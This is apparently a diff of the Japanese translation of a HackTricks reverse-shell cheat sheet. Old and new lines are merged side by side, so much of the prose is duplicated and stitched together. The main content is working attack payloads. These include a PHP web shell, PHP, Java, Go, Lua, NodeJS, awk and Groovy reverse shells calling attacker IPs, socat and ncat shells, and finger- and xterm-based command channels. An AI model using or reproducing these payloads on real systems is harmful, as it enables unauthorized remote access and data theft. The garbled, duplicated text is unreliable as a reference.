```php PHPシェルは、Webアプリケーションの脆弱性を悪用するために使用されることもあります。攻撃者は、脆弱なWebアプリケーションにPHPシェルをアップロードし、リモートサーバー上でコマンドを実行したり、データベースにアクセスしたりすることができます。
<?php
echo shell_exec($_GET['cmd']);
?>
```
このシェルは、GETパラメータとして渡されたコマンドを実行し、その結果を出力します。このシェルを使用すると、リモートでコマンドを実行できるため、悪意のあるユーザーによる攻撃のリスクがあります。 PHPシェルは、Webアプリケーションのセキュリティテストや侵入テストにおいて、攻撃者の視点からのテストを行うために使用されることもあります。セキュリティ専門家は、PHPシェルを使用して、脆弱な箇所を特定し、適切な対策を講じることができます。
### PHPのリバースシェル PHPシェルは、Web開発者やセキュリティ専門家にとって重要なツールですが、悪意のある攻撃者によって悪用される可能性もあるため、適切なセキュリティ対策が必要です。
PHPのリバースシェルは、攻撃者がリモートサーバーに接続し、システムコマンドを実行できるようにするためのツールです。リバースシェルを使用すると、ファイアウォールやNATの背後にあるサーバーに対しても攻撃を行うことができます。
以下は、PHPのリバースシェルの例です。
```php
<?php
$ip = '攻撃者のIPアドレス';
$port = 攻撃者のポート番号;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
fclose($sock);
?>
```
このリバースシェルは、攻撃者のIPアドレスとポート番号を指定し、攻撃者がシステムコマンドを実行できるようにします。攻撃者は、リバースシェルを使用して、リモートサーバーに対してコマンドを実行したり、ファイルを操作したりすることができます。
### PHPのコマンドインジェクション
PHPのコマンドインジェクションは、ユーザーの入力を不適切に処理することによって、システムコマンドを実行する脆弱性です。攻撃者は、ユーザーの入力に悪意のあるコマンドを挿入し、サーバー上でコマンドを実行することができます。
以下は、PHPのコマンドインジェクションの例です。
```php
<?php
$cmd = $_GET['cmd'];
system("ls $cmd");
?>
```
このコードでは、GETパラメータとして渡された`cmd`変数を`system`関数に渡しています。攻撃者は、`cmd`変数に任意のコマンドを挿入することができ、サーバー上でそのコマンドが実行されます。
コマンドインジェクションは非常に危険な脆弱性であり、適切な入力検証とエスケープ処理が必要です。
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -332,33 +232,17 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
``` ```
## Java ## Java
Javaは、オブジェクト指向プログラミング言語であり、クロスプラットフォームのアプリケーション開発に広く使用されています。Javaは、高い可搬性、セキュリティ、パフォーマンスを提供し、さまざまな用途に適しています。 Javaは、オブジェクト指向プログラミング言語であり、広く使用されています。Javaは、セキュリティ、ポータビリティ、パフォーマンスの面で優れた特徴を持っています。Javaは、クロスプラットフォームで動作するため、さまざまなデバイスやシステムで利用できます。
### Javaの特徴 Javaのセキュリティは、その設計と実装によって強化されています。Javaは、メモリ管理、例外処理、アクセス制御などのセキュリティ機能を提供します。また、Javaのセキュリティモデルは、アプリケーションの信頼性と機密性を確保するために使用されます。
- **オブジェクト指向**: Javaは、オブジェクト指向プログラミングの原則に基づいています。クラス、オブジェクト、継承、ポリモーフィズムなどの概念をサポートしています。 Javaのポータビリティは、プラットフォームに依存しない特徴です。Javaは、Java仮想マシンJVM上で実行されるため、異なるオペレーティングシステムやハードウェア上で動作することができます。これにより、Javaアプリケーションは、異なる環境で簡単に移植および実行できます。
- **プラットフォームの独立性**: Javaは、Java仮想マシンJVM上で実行されるため、プラットフォームに依存しません。これにより、Javaアプリケーションは異なるオペレーティングシステム上で実行できます。 Javaのパフォーマンスは、高速な実行と効率的なリソース管理によって向上します。Javaは、JITコンパイラによるコード最適化やガベージコレクションによるメモリ管理などの機能を提供します。これにより、Javaアプリケーションは高速で効率的な実行が可能です。
- **ガベージコレクション**: Javaは、自動的にメモリを管理するガベージコレクション機能を提供します。開発者は明示的にメモリを解放する必要がなく、メモリリークのリスクを軽減できます。 Javaは、広範なライブラリとフレームワークを提供しており、開発者が効率的にアプリケーションを構築できるようにサポートしています。また、Javaはオープンソースコミュニティによってサポートされており、新しい機能やセキュリティパッチが定期的に提供されます。
- **例外処理**: Javaは、例外処理機構を備えています。開発者は、予期しないエラーに対処するための例外処理コードを記述できます。 Javaは、企業や組織で広く使用されており、多くのビジネスアプリケーションやウェブアプリケーションがJavaで開発されています。Javaの人気と普及度は、その信頼性、セキュリティ、パフォーマンスによるものです。
- **マルチスレッドサポート**: Javaは、マルチスレッドプログラミングをサポートしています。複数のスレッドを使用して並行処理を実行できます。
### Javaの利用
Javaは、さまざまな用途に使用されています。
- **アプリケーション開発**: Javaは、デスクトップアプリケーション、Webアプリケーション、モバイルアプリケーションなど、さまざまな種類のアプリケーションの開発に使用されます。
- **ビッグデータ処理**: Javaは、ビッグデータ処理フレームワークであるApache HadoopやApache Sparkなどで広く使用されています。
- **エンタープライズアプリケーション**: Javaは、エンタープライズアプリケーションの開発に広く使用されています。Java Enterprise EditionJava EEフレームワークは、エンタープライズアプリケーションの構築に必要な機能を提供します。
- **Androidアプリケーション**: Javaは、Androidアプリケーションの開発に使用されます。Android Studioなどの開発ツールを使用して、JavaでAndroidアプリケーションを作成できます。
Javaは、その豊富な機能セットと広範な用途により、プログラミングコミュニティで広く支持されています。
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
@ -366,99 +250,98 @@ p.waitFor()
``` ```
## Ncat ## Ncat
Ncatは、ネットワーク接続のための強力なユーティリティです。Ncatを使用すると、TCPおよびUDP接続を作成し、データを送受信することができます。Ncatは、ポートスキャン、ポートフォワーディング、リモートシェルの作成など、さまざまなネットワーク関連のタスクに使用できます。 Ncat is a powerful networking utility that is included in the Nmap suite. It is designed to be a flexible and reliable tool for network exploration and security auditing. Ncat provides a wide range of features, including port scanning, banner grabbing, and data transfer.
### Ncatの基本的な使用法 ### Installation
Ncatを使用してリモートシェルを作成するには、次のコマンドを使用します。 Ncat is available for various operating systems, including Linux, Windows, and macOS. To install Ncat on Linux, you can use the package manager of your distribution. For example, on Ubuntu, you can run the following command:
``` ```
ncat -lvp <port> sudo apt-get install nmap
``` ```
このコマンドは、指定したポートでリッスンし、接続が確立されるとシェルを提供します。 ### Basic Usage
Ncatを使用してポートスキャンを実行するには、次のコマンドを使用します。 Ncat can be used for a variety of purposes, such as establishing a simple TCP or UDP connection, creating a secure tunnel, or transferring files between systems. Here are some examples of basic usage:
- To establish a TCP connection to a remote host on a specific port:
``` ```
ncat -v <target> <port> ncat <host> <port>
``` ```
このコマンドは、指定したターゲットの指定したポートに接続を試みます。接続が成功すると、ポートが開いていることがわかります。 - To listen for incoming TCP connections on a specific port:
### Ncatの高度な使用法
Ncatには、さまざまな高度な機能があります。以下はいくつかの例です。
- ポートフォワーディング: ローカルポートとリモートポートをマッピングすることで、トラフィックを転送できます。
``` ```
ncat -lvp <local_port> -c 'ncat <remote_host> <remote_port>' ncat -l <port>
``` ```
- ファイル転送: ファイルを送信するためにNcatを使用できます。 - To transfer a file from one system to another using TCP:
``` ```
ncat -lvp <port> > <file_name> ncat -l <port> > file.txt
ncat <host> <port> < file.txt
``` ```
``` ### Advanced Features
ncat <target> <port> < <file_name>
```
- リモートコマンド実行: リモートホストでコマンドを実行するためにNcatを使用できます。 Ncat also offers advanced features that can be useful for network troubleshooting and penetration testing. Some of these features include:
``` - SSL/TLS encryption for secure communication
ncat -lvp <port> -e <command> - Proxy support for connecting through HTTP, SOCKS4, or SOCKS5 proxies
``` - Port forwarding for redirecting network traffic
- Scripting support for automating tasks
これらはNcatの一部の機能の例ですが、Ncatにはさまざまな使用法があります。Ncatのマニュアルを参照して、さらに詳細な情報を入手してください。 To learn more about Ncat and its advanced features, you can refer to the official documentation or explore the available command-line options by running `ncat --help`.
### Conclusion
Ncat is a versatile networking utility that can be a valuable tool for network exploration and security auditing. Its wide range of features and ease of use make it a popular choice among hackers and security professionals. Whether you need to establish a simple connection or perform advanced network tasks, Ncat has you covered.
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Golang ## Golang
GolangまたはGoは、Googleによって開発されたオープンソースのプログラミング言語です。Golangは、高いパフォーマンスと効率的な並行処理を備えたシンプルな構文を持っています。Golangは、システムプログラミングやネットワークプログラミングなど、さまざまな用途に使用されます。
Golangは、クロスプラットフォームのサポートを提供し、コンパイルされたバイナリの実行ファイルを生成します。また、静的型付けとガベージコレクションを備えており、安全性と信頼性を高めます。
Golangは、多くのツールとライブラリが提供されており、開発者が効率的にコードを書くことができます。また、豊富なドキュメントとコミュニティのサポートも利用できます。
Golangは、Webアプリケーションの開発やマイクロサービスの構築にも適しています。また、ネットワークセキュリティやクラウドコンピューティングなどの分野でも広く使用されています。
Golangは、学習コストが比較的低く、シンプルな構文と直感的なデザインが特徴です。これにより、初心者から上級者まで、幅広いレベルの開発者が利用できます。
Golangは、高速な開発と効率的な実行を実現するための強力なツールです。そのため、多くの開発者や企業がGolangを選択しています。
```bash ```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## Lua
Luaは、シンプルで効率的なスクリプト言語であり、組み込みスクリプト言語として広く使用されています。Luaは、高速な実行速度と低いメモリ使用量を特徴としており、さまざまなアプリケーションやゲームエンジンで使用されています。 Luaは、シンプルで効率的なスクリプト言語です。Luaは、組み込みシステムやゲーム開発など、さまざまな領域で使用されています。Luaは、柔軟性と拡張性があり、C言語との統合も容易です。
Luaスクリプトを実行するためには、Luaインタプリタが必要です。Linuxシステムでは、`lua`コマンドを使用してインタプリタを起動できます。 Luaスクリプトを実行するためには、Luaインタプリタが必要です。Luaインタプリタは、コマンドラインから直接実行することも、Luaスクリプトを実行するためのシェルスクリプトを作成することもできます。
Luaスクリプトを実行するためには、次のコマンドを使用します。 以下は、Luaスクリプトを実行するための基本的な手順です。
```bash 1. Luaインタプリタをインストールします。インストール方法は、使用しているオペレーティングシステムによって異なります。
lua script.lua
```
また、Luaスクリプトを実行するためには、スクリプトファイルに実行権限を与える必要があります。 2. テキストエディタを使用して、Luaスクリプトファイルを作成します。拡張子は通常、`.lua`です。
```bash 3. コマンドラインで、以下のコマンドを入力してLuaインタプリタを起動します。
chmod +x script.lua
```
Luaスクリプトは、シェルスクリプトと同様に、コマンドライン引数を受け取ることもできます。引数は、`arg`というグローバル変数を介してアクセスできます。 ```
lua
```
```lua 4. Luaインタプリタが起動したら、以下のコマンドを入力してLuaスクリプトを実行します。
-- 引数の数を表示する例
print(#arg)
```
Luaは、シンプルで柔軟な言語であり、さまざまな用途に使用できます。Luaの詳細な文法や機能については、公式のLuaドキュメントを参照してください。 ```
dofile("スクリプトファイル.lua")
```
スクリプトファイルのパスは、実際のファイルの場所に応じて適切に指定してください。
Luaスクリプトは、変数の宣言、条件分岐、ループ、関数の定義など、一般的なプログラミング機能をサポートしています。また、Luaは、C言語との統合も容易であり、C言語で書かれた関数をLuaスクリプトから呼び出すこともできます。
Luaは、シンプルで使いやすいスクリプト言語であり、さまざまな用途に適しています。Luaの学習リソースやコミュニティも豊富であり、効果的なスクリプト開発に役立ちます。
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -467,29 +350,28 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
``` ```
## NodeJS ## NodeJS
NodeJSは、非同期イベント駆動型のJavaScriptランタイム環境です。NodeJSは、サーバーサイドでのアプリケーション開発に広く使用されています。以下に、NodeJSに関連するいくつかの重要なポイントを示します。 NodeJSは、非同期イベント駆動型のJavaScriptランタイム環境です。NodeJSは、サーバーサイドでのアプリケーション開発に広く使用されています。NodeJSは、高速なネットワーキングと並行処理をサポートし、スケーラブルなアプリケーションの構築に適しています。
### インストール NodeJSを使用すると、シェルスクリプトを実行することができます。シェルスクリプトは、コマンドラインで実行される一連のコマンドです。NodeJSを使用すると、シェルスクリプトを自動化し、効率的に実行することができます。
NodeJSをインストールするには、公式のNodeJSウェブサイトからインストーラーをダウンロードし、実行します。インストールが完了すると、`node`コマンドが使用可能になります。 以下は、NodeJSを使用してシェルスクリプトを実行する方法の例です。
### パッケージマネージャー ```javascript
const { exec } = require('child_process');
NodeJSには、パッケージの管理に使用するためのnpmNode Package Managerというパッケージマネージャーが付属しています。npmを使用すると、依存関係の解決やパッケージのインストールが簡単に行えます。 exec('ls -la', (error, stdout, stderr) => {
if (error) {
console.error(`エラーが発生しました: ${error}`);
return;
}
console.log(`標準出力: ${stdout}`);
console.error(`標準エラー出力: ${stderr}`);
});
```
### モジュール 上記の例では、`ls -la`コマンドを実行しています。`exec`関数は、コマンドを非同期に実行し、結果をコールバック関数で取得します。エラーが発生した場合は、エラーメッセージが表示されます。標準出力と標準エラー出力は、それぞれ`stdout`と`stderr`として表示されます。
NodeJSでは、モジュールと呼ばれる再利用可能なコードの単位が使用されます。モジュールは、`require`関数を使用して他のモジュールからインポートすることができます。 NodeJSを使用してシェルスクリプトを実行することで、さまざまなタスクを自動化し、効率的に処理することができます。
### イベント駆動型プログラミング
NodeJSは、イベント駆動型のプログラミングモデルを採用しています。これにより、非同期処理が容易になります。コールバック関数やPromiseを使用して、非同期タスクの完了を処理することができます。
### フレームワーク
NodeJSには、ExpressやKoaなどの人気のあるフレームワークがあります。これらのフレームワークを使用すると、Webアプリケーションの開発が容易になります。
NodeJSは、柔軟性とパフォーマンスの両方を備えた強力なツールです。サーバーサイドの開発において、高速かつ効率的なアプリケーションを構築するために、NodeJSを活用しましょう。
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -559,76 +441,67 @@ attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
``` ```
### リバースシェル ### リバースシェル
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system. A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands on it.
To establish a reverse shell, the attacker typically needs to have a listener set up on their machine to receive the incoming connection. The listener can be a simple netcat command or a more advanced tool like Metasploit. To establish a reverse shell, the attacker typically needs to have a listener running on their machine and a payload installed on the target machine. The payload is usually a piece of code or a script that, when executed on the target machine, connects back to the attacker's machine.
Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine. This can be useful for performing various tasks, such as exfiltrating data, pivoting to other systems, or escalating privileges. Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine. This can be useful for various purposes, such as gaining unauthorized access, exfiltrating data, or pivoting to other machines on the network.
There are multiple ways to create a reverse shell, depending on the target machine's operating system and available tools. Some common methods include using netcat, Python, or PHP to create a reverse shell payload. There are various ways to create a reverse shell, depending on the operating system and network environment. Common methods include using netcat, creating a reverse shell with a programming language like Python or Perl, or using tools specifically designed for creating reverse shells.
It's important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing or authorized system administration. It is important to note that using reverse shells for unauthorized access or malicious purposes is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing or network administration, with proper authorization.
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk ## Awk
Awkは、テキスト処理のための強力なプログラミング言語です。Awkは、行単位でテキストを処理し、パターンに一致する行を選択し、指定されたアクションを実行することができます。 Awkは、テキスト処理のための強力なプログラミング言語です。Awkは、行単位でテキストを処理し、パターンに一致する行を選択し、指定されたアクションを実行することができます。Awkは、Linuxシェルスクリプト内で使用されることが一般的ですが、単独のAwkスクリプトとしても実行することができます。
Awkの基本的な構文は次のとおりです。 Awkスクリプトは、次のような構造を持っています。
```bash ```awk
awk 'pattern { action }' file pattern { action }
``` ```
- `pattern`は、行を選択するための条件です。正規表現や比較演算子を使用してパターンを指定することができます。 - `pattern`は、行が一致する必要がある条件を指定します。パターンが指定されない場合、すべての行が一致します。
- `action`は、パターンに一致した行に対して実行するコマンドです。複数のコマンドを実行する場合は、セミコロンで区切ります。 - `action`は、パターンに一致する行に対して実行されるコマンドまたはコマンドブロックです。
- `file`は、処理するテキストファイルのパスです。省略すると、標準入力からデータを受け取ります。
Awkの便利な機能の一つは、データのフィールドにアクセスすることです。Awkは、デフォルトでスペースやタブでフィールドを区切ります。フィールドには、`$1`、`$2`、`$3`のような番号を指定してアクセスすることができます。 Awkは、テキストファイルの内容を処理するための多くの組み込み関数と変数を提供しています。これにより、テキストのフィールド分割、パターンマッチング、算術演算、条件分岐などの操作が可能になります。
以下は、Awkを使用してテキストファイルを処理する例です。 Awkの基本的な使用法は次のとおりです。
```bash ```bash
awk '/pattern/ { print $1 }' file awk 'pattern { action }' file.txt
``` ```
この例では、`pattern`に一致する行の最初のフィールドを出力します。 - `pattern`は、行が一致する必要がある条件を指定します。
- `action`は、パターンに一致する行に対して実行されるコマンドまたはコマンドブロックです。
- `file.txt`は、処理するテキストファイルのパスです。
Awkは非常に柔軟なツールであり、テキスト処理に幅広く使用されます。さまざまなオプションや関数を使用して、さまざまなタスクを実行することができます。Awkの詳細な使用方法については、公式のドキュメントやオンラインリソースを参照してください。 Awkは、テキスト処理において非常に便利なツールであり、データの抽出、変換、集計などのさまざまなタスクに使用することができます
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
Fingerコマンドは、リモートシステム上のユーザー情報を取得するために使用されます。以下のコマンドを使用して、ユーザー名を指定して情報を取得できます。 Fingerは、ユーザーの情報を取得するために使用されるツールです。Fingerサービスは、通常、ユーザー名を指定してユーザーの詳細情報を表示します。この情報には、ユーザー名、フルネーム、ログイン時間、および最後のログイン場所が含まれる場合があります。
```bash Fingerコマンドは、以下のように使用されます。
finger <username>@<target>
```
finger [username]@[hostname]
``` ```
**Defender** ユーザー名を指定すると、Fingerはそのユーザーに関する情報を表示します。ホスト名を指定すると、そのホスト上のすべてのユーザーの情報を表示します。
Fingerコマンドは、セキュリティ上のリスクを伴うため、一般的には無効化されています。システム管理者は、Fingerサービスを無効にすることをお勧めします。また、ユーザーはプライバシーを保護するために、自分の情報がFingerコマンドで公開されないようにする必要があります。 Fingerは、情報収集フェーズでの便利なツールですが、セキュリティ上のリスクも伴います。ユーザー名やログイン情報が公開される可能性があるため、慎重に使用する必要があります。
以下のコマンドを使用して、Fingerサービスを無効化できます。 **防御策**
```bash Fingerサービスを無効にするか、アクセスを制限することで、Fingerによる情報漏洩を防ぐことができます。また、ユーザー名やログイン情報を公開しないようにするために、適切なアクセス制御とセキュリティポリシーを実施することも重要です。
sudo systemctl disable finger
sudo systemctl stop finger
```
また、ユーザーは以下の方法で自分の情報を非表示にすることができます。
- `/etc/nofinger`ファイルを作成し、ユーザー名を追加する。
- `.nofinger`という名前のファイルをユーザーホームディレクトリに作成する。
**References**
- [Finger - Wikipedia](https://en.wikipedia.org/wiki/Finger_protocol)
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
コマンドを送信するには、それを書き込んで、Enterキーを押し、CTRL+Dキーを押しますSTDINを停止するため コマンドを送信するには、それを書き留めて、Enterキーを押し、CTRL+Dキーを押しますSTDINを停止するため
**被害者** **被害者**
```bash ```bash
@ -638,45 +511,13 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
``` ```
## Gawk ## Gawk
Gawkは、Linuxシェルスクリプトで使用される非常に強力なテキスト処理ツールです。Gawkは、パターンスキャンと処理、データの抽出、変換、およびレポートの生成など、さまざまなタスクを実行するために使用されます。 Gawkは、Linuxシェルスクリプト内で使用されるパワフルなテキスト処理ツールです。Gawkは、パターンスキャンと処理、データの抽出、変換、およびレポートの生成など、さまざまなタスクを実行するために使用されます。
以下は、Gawkの基本的な使用法のいくつかです。 Gawkは、コマンドラインから直接実行することも、シェルスクリプト内で使用することもできます。Gawkは、テキストファイルを入力として受け取り、指定されたパターンに一致する行を処理します。Gawkは、パターンに一致する行を見つけると、指定されたアクションを実行します。
### パターンマッチングとアクション Gawkは、柔軟なパターンマッチング機能を提供し、正規表現を使用してパターンを指定することができます。また、Gawkは、変数、配列、制御構造などの高度なプログラミング機能もサポートしています。
Gawkは、パターンマッチングとアクションの組み合わせによって動作します。パターンは、データの特定の部分を識別するために使用され、アクションは、パターンに一致した場合に実行されるコードです。 Gawkは、テキストデータの処理において非常に便利であり、データの抽出、変換、およびレポートの生成などのタスクを効率的に実行することができます。Gawkの強力な機能を活用することで、テキストデータの解析と処理を迅速かつ効果的に行うことができます。
```bash
gawk '/パターン/ { アクション }' ファイル名
```
### フィールドと変数
Gawkは、データをフィールドとして扱います。デフォルトでは、フィールドはスペースまたはタブで区切られていますが、カスタムのフィールドセパレータを指定することもできます。
Gawkでは、変数も使用できます。変数は、データの一部を格納するために使用されます。
```bash
gawk -F ':' '{ print $1 }' /etc/passwd
```
### パイプとリダイレクト
Gawkは、パイプとリダイレクトを使用して、データの入力と出力を制御することもできます。
```bash
gawk '/パターン/ { アクション }' < 入力ファイル > 出力ファイル
```
### パターンとアクションの組み合わせ
Gawkでは、複数のパターンとアクションを組み合わせることもできます。これにより、さまざまな条件に基づいてデータを処理することができます。
```bash
gawk '/パターン1/ { アクション1 } /パターン2/ { アクション2 }' ファイル名
```
これらは、Gawkの基本的な使用法の一部です。Gawkは非常に柔軟で強力なツールであり、さまざまなテキスト処理タスクに使用できます。
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -705,19 +546,19 @@ close(Service)
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
以下のコマンドを使用して、信するxtermをキャッチします。X-Serverを起動します:1 - TCPポート6001でリッスンします。これを行う方法の1つは、Xnestを使用することですシステム上で実行する必要があります 以下のコマンドを使用して、信するxtermをキャッチします。X-Serverを起動します:1 - TCPポート6001でリッスンします。これを行う方法の1つは、Xnestを使用することですシステム上で実行する必要があります:
```bash ```bash
Xnest :1 Xnest :1
``` ```
次に、xtermを起動し、X-Serverに接続します 次に、xtermを起動し、X-Serverに接続します。以下のコマンドを使用します:
```bash ```bash
xterm -display :1 xterm -display :1
``` ```
これにより、着信するxtermがキャッチされ、X-Server上で表示されます。 これにより、X-Server上で実行されているxtermが表示されます。
```bash ```bash
Xnest :1 Xnest :1
``` ```
@ -727,7 +568,7 @@ xhost +targetip
``` ```
## Groovy ## Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意Javaの逆シェルもGroovyで動作します。 by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意: Javaの逆シェルもGroovyで動作します。
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
@ -744,12 +585,19 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASS入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

View file

@ -4,35 +4,26 @@
